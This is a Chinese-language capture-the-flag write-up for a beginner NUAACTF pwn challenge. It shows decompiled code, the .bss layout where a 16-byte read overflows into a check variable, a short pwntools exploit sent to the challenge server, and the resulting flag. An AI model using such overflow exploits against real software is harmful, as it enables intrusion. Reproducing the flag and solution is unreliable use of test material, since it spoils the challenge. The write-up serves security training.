题目来源:
NUAACTF
题目描述:
pwn!,segment fault!菜鸡陷入了深思
题目场景:
111.200.241.244:34217
题目附件:
4f2f44c9471d4dc2b59768779e378282
题目思路:
直接栈溢出,使得dword_60106C位置等于1853186401即可运行后面函数得到flag
解题过程:
拿到程序后,我们首先checksec
一下
发现是64位程序,只开了NX(堆栈不可执行),跑一下程序看看
可以看到它是一个输入,放到IDA64里面查看
int64 __fastcall main(__int64 a1, char **a2, char **a3){
alarm(0x3Cu);
setbuf(stdout, 0LL);
puts("~~ welcome to ctf ~~ ");
puts("lets get helloworld for bof");
read(0, &unk_601068, 0x10uLL);
if ( dword_60106C == 1853186401 )
sub_400686();
return 0LL;
}
当dword_60106C的值为1853186401时,程序会进入一个函数中,而这个函数的作用就是显示flag,接下来就是去改变这个变量的值。
.bss:0000000000601068 unk_601068 db ? ; ; DATA XREF: main+3B↑o
.bss:0000000000601069 db ? ;
.bss:000000000060106A db ? ;
.bss:000000000060106B db ? ;
.bss:000000000060106C dword_60106C dd ? ; DATA XREF: main+4A↑r
双击查看unk_601068和dword_60106C的位置,可以知道这两个变量都在.bss段,并且dword_60106C就在离unk_601068四个位置的地方,而且unk_601068是由我们输入的,而且给了10个长度,可以借此覆盖掉dword_60106C,去掉中文使用exp:
from pwn import *
r=remote('220.249.52.134',40334)#远程连接
payload='A'*4+p64(1853186401)#4个字符覆盖68
r.recvuntil("d for bof\n")#接收到字符后
r.sendline(payload)#发送payload
print(r.recv())
cyberpeace{a8c51e75d4edd892c05980ec5e30363b}